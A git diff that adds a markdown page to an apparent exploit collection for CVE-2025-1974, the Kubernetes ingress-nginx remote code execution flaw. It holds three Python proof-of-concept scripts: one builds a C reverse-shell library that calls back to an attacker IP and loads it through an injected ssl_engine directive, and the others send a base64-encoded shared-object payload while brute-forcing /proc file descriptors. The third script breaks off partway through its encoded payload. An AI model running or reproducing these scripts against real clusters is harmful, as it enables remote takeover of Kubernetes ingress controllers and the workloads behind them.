diff --git a/wpoc/KUBERNETES INGRESS-NGINX/KUBERNETES INGRESS-NGINX远程代码执行漏洞(CVE-2025-1974).md b/wpoc/KUBERNETES INGRESS-NGINX/KUBERNETES INGRESS-NGINX远程代码执行漏洞(CVE-2025-1974).md index 8b13789..3dc0f75 100644 --- a/wpoc/KUBERNETES INGRESS-NGINX/KUBERNETES INGRESS-NGINX远程代码执行漏洞(CVE-2025-1974).md +++ b/wpoc/KUBERNETES INGRESS-NGINX/KUBERNETES INGRESS-NGINX远程代码执行漏洞(CVE-2025-1974).md @@ -1 +1,707 @@ +## KUBERNETES INGRESS-NGINX远程代码执行漏洞(CVE-2025-1974) +## poc1 +```python +#!/usr/bin/env python3 +import asyncio +import json +import os +import subprocess +import tempfile +import argparse +from pathlib import Path +import sys +import httpx + +# Default shellcode for reverse shell +DEFAULT_SHELL_C = """ +#include +#include +#include +#include +#include +#include +#include + +__attribute__((constructor)) +void init(void) { + if (fork() == 0) { + // Create socket + int sock = socket(AF_INET, SOCK_STREAM, 0); + struct sockaddr_in addr; + addr.sin_family = AF_INET; + addr.sin_port = htons(REVERSE_SHELL_PORT); + addr.sin_addr.s_addr = inet_addr("REVERSE_SHELL_IP"); + + connect(sock, (struct sockaddr *)&addr, sizeof(addr)); + + // Redirect stdin, stdout, stderr + dup2(sock, 0); + dup2(sock, 1); + dup2(sock, 2); + + // Execute shell + execve("/bin/sh", NULL, NULL); + } +} +""" + +data_req = json.loads(""" + { + "kind": "AdmissionReview", + "apiVersion": "admission.k8s.io/v1", + "request": { + "uid": "85b707bf-4241-4f9b-9ee8-7809c7132cdc", + "kind": { + "group": "networking.k8s.io", + "version": "v1", + "kind": "Ingress" + }, + "resource": { + "group": "networking.k8s.io", + "version": "v1", + "resource": "ingresses" + }, + "requestKind": { + "group": "networking.k8s.io", + "version": "v1", + "kind": "Ingress" + }, + "requestResource": { + "group": "networking.k8s.io", + "version": "v1", + "resource": "ingresses" + }, + "name": "xxx", + "namespace": "default", + "operation": "CREATE", + "userInfo": { + "username": "kube-review", + "uid": "60a7a2da-f9ec-4afc-baaa-11bf648233a8" + }, + "object": { + "kind": "Ingress", + "apiVersion": "networking.k8s.io/v1", + "metadata": { + "name": "xxx", + "namespace": "default", + "creationTimestamp": null, + "annotations": { + "nginx.ingress.kubernetes.io/auth-url": "xxx" + } + }, + "spec": { + "ingressClassName": "nginx", + "rules": [ + { + "host": "xxx.example.com", + "http": { + "paths": [ + { + "path": "/", + "pathType": "Prefix", + "backend": { + "service": { + "name": "xxx", + "port": { + "number": 5244 + } + } + } + } + ] + } + } + ] + }, + "status": { + "loadBalancer": {} + } + }, + "oldObject": null, + "dryRun": true, + "options": { + "kind": "CreateOptions", + "apiVersion": "meta.k8s.io/v1" + } + } +} +""") + + +class Exploit: + def __init__(self, local_mode: bool = False, reverse_shell_ip: str = "10.0.0.1", + reverse_shell_port: int = 4444, admission_port: int = 8443, ingress_port: int = 8080): + """ + Initialize the exploit. + + Args: + local_mode: Whether to use port-forwarded local connections + reverse_shell_ip: IP for the reverse shell to connect back to + reverse_shell_port: Port for the reverse shell to connect back to + admission_port: Local port for admission controller (for local_mode) + ingress_port: Local port for ingress controller (for local_mode) + """ + self.reverse_shell_ip = reverse_shell_ip + self.reverse_shell_port = reverse_shell_port + + if local_mode: + self.admission_url = f"https://localhost:{admission_port}/networking/v1/ingresses" + self.target_url = f"http://localhost:{ingress_port}/fake/addr" + else: + self.admission_url = "https://ingress-nginx-controller-admission.ingress-nginx.svc:443/networking/v1/ingresses" + self.target_url = "http://ingress-nginx-controller.ingress-nginx.svc/fake/addr" + + self.req_data = data_req + + def build_shellcode(self) -> str: + """ + Build the shellcode from C to .so + + Returns: + Path to the compiled shellcode .so file + """ + print("[+] Building shellcode...") + + # Create temporary directory + temp_dir = tempfile.mkdtemp() + shell_c_path = os.path.join(temp_dir, "shell.c") + shell_so_path = os.path.join(temp_dir, "shell.so") + + # Replace IP and port in the shellcode template + shell_c_content = DEFAULT_SHELL_C.replace("REVERSE_SHELL_IP", self.reverse_shell_ip) + shell_c_content = shell_c_content.replace("REVERSE_SHELL_PORT", str(self.reverse_shell_port)) + + # Write the C file + with open(shell_c_path, "w") as f: + f.write(shell_c_content) + + # Build using Docker + docker_cmd = [ + "docker", "run", "--rm", "--platform", "linux/amd64", + "-v", f"{temp_dir}:/build", "alpine:latest", + "/bin/sh", "-c", + "cd /build && " + "apk update && " + "apk add musl-dev build-base && " + "gcc shell.c -S -o shell.S && " + "as --64 -o shell.o shell.S && " + "ld -shared -nostdlib -z noseparate-code -z max-page-size=0x1000 -o shell.so shell.o && " + "strip --strip-all shell.so && " + "chmod +x shell.so && " + "truncate -s 10240 shell.so" + ] + + try: + print("[*] Building shellcode with Docker...") + subprocess.run(docker_cmd, check=True) + print(f"[+] Shellcode built successfully at {shell_so_path}") + + with open(shell_so_path, "rb") as f: + self.shellcode = f.read() + + return shell_so_path + except subprocess.CalledProcessError as e: + print(f"[!] Failed to build shellcode with Docker: {e}") + print("[!] Attempting to build locally...") + + # Try to build locally if Docker fails + try: + subprocess.run(["gcc", "-shared", "-fPIC", shell_c_path, "-o", shell_so_path], check=True) + print(f"[+] Shellcode built locally at {shell_so_path}") + + with open(shell_so_path, "rb") as f: + self.shellcode = f.read() + + return shell_so_path + except subprocess.CalledProcessError as e: + print(f"[!] Local build failed: {e}") + raise RuntimeError("Failed to build shellcode") + + async def send_admission_req(self) -> None: + print("[+] Searching for vulnerable file descriptors...") + async with httpx.AsyncClient(verify=False) as client: + for pid in range(1, 400): + for fd in range(1, 200): + proc_path = f"/proc/{pid}/fd/{fd}" + self.req_data["request"]["object"]["metadata"]["annotations"][ + "nginx.ingress.kubernetes.io/auth-url" + ] = "http://example.com/#;}}}\n\nssl_engine %s;\n\n" % (proc_path,) + try: + print(f"[*] Testing {proc_path}") + resp = await client.post( + self.admission_url, + json=self.req_data, + ) + res = resp.json()["response"] + print(f"[*] Response: {res}") + if "No such device or address" in res["status"]["message"] or ( + "No such file or directory" in res["status"]["message"] + ): + continue + except Exception as e: + print(f"[!] Error: {e}") + continue + print(f"[+] Found vulnerable file descriptor: {proc_path}") + return + + async def upload_shellcode(self) -> None: + """Upload shellcode through HTTP request""" + + class FakeIterator: + """Async iterator that yields shellcode once then holds connection""" + def __init__(self, shellcode): + self.shellcode = shellcode + self.sent = False + + async def __aiter__(self): + yield self.shellcode + await asyncio.sleep(60*60) + + print(f"[+] Uploading shellcode ({len(self.shellcode)} bytes)") + + headers = { + "Content-Type": "application/octet-stream", + "Content-Length": str(len(self.shellcode) * 50), + } + + async with httpx.AsyncClient() as client: + try: + await client.post( + self.target_url, + data=FakeIterator(self.shellcode), + headers=headers, + timeout=None + ) + except Exception as e: + print(f"[*] Upload connection status: {e}") + + async def run_exploit(self) -> None: + """Run the complete exploit chain""" + print("[+] Starting CVE-2025-1974 exploit...") + print(f"[*] Reverse shell will connect to {self.reverse_shell_ip}:{self.reverse_shell_port}") + print("[*] Make sure you have a listener running (e.g., nc -lvnp 4444)") + self.build_shellcode() + + upload_tasks = [self.upload_shellcode() for _ in range(50)] + admission_task = self.send_admission_req() + await asyncio.gather(*upload_tasks, admission_task) + print("[+] Exploit completed. Check your listener for incoming connection.") + + +async def main(): + parser = argparse.ArgumentParser(description="CVE-2025-1974 Ingress Nginx Controller Exploit") + parser.add_argument("--local", action="store_true", help="Use local port-forwarded connection") + parser.add_argument("--ip", required=True, help="IP for reverse shell connection") + parser.add_argument("--port", type=int, default=4444, help="Port for reverse shell connection") + parser.add_argument("--admission-port", type=int, default=8443, help="Local port for admission controller") + parser.add_argument("--ingress-port", type=int, default=8080, help="Local port for ingress controller") + + args = parser.parse_args() + + if not args.ip: + print("[!] Error: You must specify an IP address with --ip") + sys.exit(1) + + exploit = Exploit( + local_mode=args.local, + reverse_shell_ip=args.ip, + reverse_shell_port=args.port, + admission_port=args.admission_port, + ingress_port=args.ingress_port + ) + + await exploit.run_exploit() + + +if __name__ == "__main__": + import warnings + warnings.filterwarnings("ignore") + + asyncio.run(main()) +``` +原作者地址:https://github.com/zwxxb/CVE-2025-1974/blob/main/poc.py +## poc2 +```python +import base64 +import time + +import requests +import sys +from urllib.parse import urlparse +import threading +from concurrent.futures import ThreadPoolExecutor +import urllib3 +import socket + +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +pwn_base64 = "f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAAAAAAAAAAABAAAAAAAAAANAQAAAAAAAAAAAAAEAAOAAHAEAAEAAPAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAMAAAAAAACgAwAAAAAAAAAQAAAAAAAAAQAAAAYAAACgDgAAAAAAAKAeAAAAAAAAoB4AAAAAAABwAQAAAAAAAHABAAAAAAAAABAAAAAAAAACAAAABgAAAKgOAAAAAAAAqB4AAAAAAACoHgAAAAAAAEABAAAAAAAAQAEAAAAAAAAIAAAAAAAAAAQAAAAEAAAAcAMAAAAAAABwAwAAAAAAAHADAAAAAAAAMAAAAAAAAAAwAAAAAAAAAAgAAAAAAAAAU+V0ZAQAAABwAwAAAAAAAHADAAAAAAAAcAMAAAAAAAAwAAAAAAAAADAAAAAAAAAACAAAAAAAAABR5XRkBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAFLldGQEAAAAoA4AAAAAAACgHgAAAAAAAKAeAAAAAAAAYAEAAAAAAABgAQAAAAAAAAEAAAAAAAAAAQAAAAEAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAKAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAdW5zZXRlbnYAc3lzdGVtAAAAAAAAAACgHgAAAAAAAAgAAAAAAAAAwAIAAAAAAAAAIAAAAAAAAAcAAAABAAAAAAAAAAAAAAAIIAAAAAAAAAcAAAACAAAAAAAAAAAAAAD/NVodAAD/JVwdAAAPH0AA/yVaHQAAaAAAAADp4P////8lUh0AAGgBAAAA6dD///9VSInlSI0FGgAAAEiJx+jN////SI0FFgAAAEiJx+jO////kF3DTERfUFJFTE9BRABzaCAtYyAndG91Y2ggL3RtcC9sdWZlaV9va2snAAAAABQAAAAAAAAAAXpSAAF4EAEbDAcIkAEAABwAAAAcAAAAkP///yUAAAAAQQ4QhgJDDQZgDAcIAAAAIAAAADwAAABA////MAAAAAAOEEYOGEoPC3cIgAA/GjsqMyQiAAAAAAQAAAAgAAAABQAAAEdOVQABAAHABAAAAAEAAAAAAAAAAgABwAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAIAAAAAAAAZAAAAAAAAAKAeAAAAAAAAGwAAAAAAAAAIAAAAAAAAAPX+/28AAAAAyAEAAAAAAAAFAAAAAAAAADACAAAAAAAABgAAAAAAAADoAQAAAAAAAAoAAAAAAAAAEQAAAAAAAAALAAAAAAAAABgAAAAAAAAAAwAAAAAAAADoHwAAAAAAAAIAAAAAAAAAMAAAAAAAAAAUAAAAAAAAAAcAAAAAAAAAFwAAAAAAAABgAgAAAAAAAAcAAAAAAAAASAIAAAAAAAAIAAAAAAAAABgAAAAAAAAACQAAAAAAAAAYAAAAAAAAAPn//28AAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKgeAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKYCAAAAAAAAtgIAAAAAAABHQ0M6IChBbHBpbmUgMTMuMi4xX2dpdDIwMjQwMzA5KSAxMy4yLjEgMjAyNDAzMDkAAC5zaHN0cnRhYgAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3RyAC5yZWxhLmR5bgAucmVsYS5wbHQALnRleHQALnJvZGF0YQAuZWhfZnJhbWUALm5vdGUuZ251LnByb3BlcnR5AC5pbml0X2FycmF5AC5keW5hbWljAC5nb3QucGx0AC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAPb//28CAAAAAAAAAMgBAAAAAAAAyAEAAAAAAAAcAAAAAAAAAAIAAAAAAAAACAAAAAAAAAAAAAAAAAAAABUAAAALAAAAAgAAAAAAAADoAQAAAAAAAOgBAAAAAAAASAAAAAAAAAADAAAAAQAAAAgAAAAAAAAAGAAAAAAAAAAdAAAAAwAAAAIAAAAAAAAAMAIAAAAAAAAwAgAAAAAAABEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAJQAAAAQAAAACAAAAAAAAAEgCAAAAAAAASAIAAAAAAAAYAAAAAAAAAAIAAAAAAAAACAAAAAAAAAAYAAAAAAAAAC8AAAAEAAAAQgAAAAAAAABgAgAAAAAAAGACAAAAAAAAMAAAAAAAAAACAAAADQAAAAgAAAAAAAAAGAAAAAAAAAA0AAAAAQAAAAYAAAAAAAAAkAIAAAAAAACQAgAAAAAAADAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAOQAAAAEAAAAGAAAAAAAAAMACAAAAAAAAwAIAAAAAAAAlAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAD8AAAABAAAAAgAAAAAAAADlAgAAAAAAAOUCAAAAAAAAKAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAABHAAAAAQAAAAIAAAAAAAAAEAMAAAAAAAAQAwAAAAAAAFwAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAUQAAAAcAAAACAAAAAAAAAHADAAAAAAAAcAMAAAAAAAAwAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAGQAAAAOAAAAAwAAAAAAAACgHgAAAAAAAKAOAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAABwAAAABgAAAAMAAAAAAAAAqB4AAAAAAACoDgAAAAAAAEABAAAAAAAAAwAAAAAAAAAIAAAAAAAAABAAAAAAAAAAeQAAAAEAAAADAAAAAAAAAOgfAAAAAAAA6A8AAAAAAAAoAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAIIAAAABAAAAMAAAAAAAAAAAAAAAAAAAABAQAAAAAAAAMQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAwAAAAAAAAAAAAAAAAAAAAAAAABBEAAAAAAAAIsAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA" + +admssion_json = """ +{ + "kind": "AdmissionReview", + "apiVersion": "admission.k8s.io/v1", + "request": { + "uid": "3babc164-2b11-4c9c-976a-52f477c63e35", + "kind": { + "group": "networking.k8s.io", + "version": "v1", + "kind": "Ingress" + }, + "resource": { + "group": "networking.k8s.io", + "version": "v1", + "resource": "ingresses" + }, + "requestKind": { + "group": "networking.k8s.io", + "version": "v1", + "kind": "Ingress" + }, + "requestResource": { + "group": "networking.k8s.io", + "version": "v1", + "resource": "ingresses" + }, + "name": "minimal-ingress", + "namespace": "default", + "operation": "CREATE", + "userInfo": { + "uid": "1619bf32-d4cb-4a99-a4a4-d33b2efa3bc6" + }, + "object": { + "kind": "Ingress", + "apiVersion": "networking.k8s.io/v1", + "metadata": { + "name": "minimal-ingress", + "namespace": "default", + "creationTimestamp": null, + "annotations": { + "nginx.ingress.kubernetes.io/auth-url": "http://example.com/#;}}}\\n\\nssl_engine ../../../../../../../REPLACE\\n\\n" + } + }, + "spec": { + "ingressClassName": "nginx", + "rules": [ + { + "host": "test.example.com", + "http": { + "paths": [ + { + "path": "/", + "pathType": "Prefix", + "backend": { + "service": { + "name": "kubernetes", + "port": { + "number": 443 + } + } + } + } + ] + } + } + ] + }, + "status": { + "loadBalancer": {} + } + }, + "oldObject": null, + "dryRun": true, + "options": { + "kind": "CreateOptions", + "apiVersion": "meta.k8s.io/v1" + } + } +} +""" + + +def send_request(admission_url, json_data, proc, fd): + print(f"Trying Proc: {proc}, FD: {fd}") + path = f"proc/{proc}/fd/{fd}" + replaced_data = json_data.replace("REPLACE", path) + + headers = { + "Content-Type": "application/json" + } + + full_url = admission_url.rstrip("/") + "/admission" + + try: + response = requests.post(full_url, data=replaced_data, headers=headers, verify=False, timeout=1) + # print(response.text) - use this to debug (check response of admission webhook) + print(f"Response for /proc/{proc}/fd/{fd}: {response.status_code}") + except Exception as e: + print(f"Error on /proc/{proc}/fd/{fd}: {e}") + + +def admission_brute(admission_url, max_workers=10): + # proc = input("INPUT PROC:") - use this for manual testing + # fd = input("INPUT FD:") - use this for manual testing + # send_request(admission_url, json_data, proc, fd) - use this for manual testing + + with ThreadPoolExecutor(max_workers=max_workers) as executor: + for proc in range(30, 50): # can be increased to 100 + for fd in range(3, 30): # can be increased to 100 (not recommended) + executor.submit(send_request, admission_url, admssion_json, proc, fd) + + for proc in range(160, 180): # can be increased to 100 + for fd in range(3, 30): # can be increased to 100 (not recommended) + executor.submit(send_request, admission_url, admssion_json, proc, fd) + + +def exploit(ingress_url): + so = base64.b64decode(pwn_base64) + b"\00" * 8092 + + real_length = len(so) + fake_length = real_length + 10 + url = ingress_url + + parsed = urlparse(url) + host = parsed.hostname + port = parsed.port or 80 + path = parsed.path or "/" + + try: + sock = socket.create_connection((host, port)) + except Exception as e: + print(f"Error connecting to {host}:{port}: {e} - host is up?") + sys.exit(0) + headers = ( + f"POST {path} HTTP/1.1\r\n" + f"Host: {host}\r\n" + f"User-Agent: lufeisec\r\n" + f"Content-Type: application/octet-stream\r\n" + f"Content-Length: {fake_length}\r\n" + f"Connection: keep-alive\r\n" + f"\r\n" + ).encode("iso-8859-1") + + http_payload = headers + so + sock.sendall(http_payload) + + response = b"" + while True: + chunk = sock.recv(4096) + if not chunk: + break + response += chunk + + print("[*] Resposta:") + print(response.decode(errors="ignore")) + + sock.close() + + +if len(sys.argv) < 2: + print("Usage: python3 exploit.py ") + sys.exit(0) +else: + ingress_url = sys.argv[1] + admission = sys.argv[2] + + # Send the library to the ingress pod and keep the connection open to keep the file open via the file descriptor (FD). + x = threading.Thread(target=exploit, args=(ingress_url,)) + x.start() + + # time.sleep(9999 * 9999) + # start the admission webhook brute force (/proc/{pid}/fd/{fd}) + admission_brute(admission) +``` +## poc3 +```python +import base64 +import time + +import requests +import sys +from urllib.parse import urlparse +import threading +from concurrent.futures import ThreadPoolExecutor +import urllib3 +import socket + +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +pwn_base64 = "f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAAAAAAAAAAABAAAAAAAAAANAQAAAAAAAAAAAAAEAAOAAHAEAAEAAPAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAMAAAAAAACgAwAAAAAAAAAQAAAAAAAAAQAAAAYAAACgDgAAAAAAAKAeAAAAAAAAoB4AAAAAAABwAQAAAAAAAHABAAAAAAAAABAAAAAAAAACAAAABgAAAKgOAAAAAAAAqB4AAAAAAACoHgAAAAAAAEABAAAAAAAAQAEAAAAAAAAIAAAAAAAAAAQAAAAEAAAAcAMAAAAAAABwAwAAAAAAAHADAAAAAAAAMAAAAAAAAAAwAAAAAAAAAAgAAAAAAAAAU+V0ZAQAAABwAwAAAAAAAHADAAAAAAAAcAMAAAAAAAAwAAAAAAAAADAAAAAAAAAACAAAAAAAAABR5XRkBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAFLldGQEAAAAoA4AAAAAAACgHgAAAAAAAKAeAAAAAAAAYAEAAAAAAABgAQAAAAAAAAEAAAAAAAAAAQAAAAEAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAKAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAdW5zZXRlbnYAc3lzdGVtAAAAAAAAAACgHgAAAAAAAAgAAAAAAAAAwAIAAAAAAAAAIAAAAAAAAAcAAAABAAAAAAAAAAAAAAAIIAAAAAAAAAcAAAACAAAAAAAAAAAAAAD/NVodAAD/JVwdAAAPH0AA/yVaHQAAaAAAAADp4P////8lUh0AAGgBAAAA6dD///9VSInlSI0FGgAAAEiJx+jN////SI0FFgAAAEiJx+jO////kF3DTERfUFJFTE9BRABzaCAtYyAndG91Y2ggL3RtcC9sdWZlaV9va2snAAAAABQAAAAAAAAAAXpSAAF4EAEbDAcIkAEAABwAAAAcAAAAkP///yUAAAAAQQ4QhgJDDQZgDAcIAAAAIAAAADwAAABA////MAAAAAAOEEYOGEoPC3cIgAA/GjsqMyQiAAAAAAQAAAAgAAAABQAAAEdOVQABAAHABAAAAAEAAAAAAAAAAgABwAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA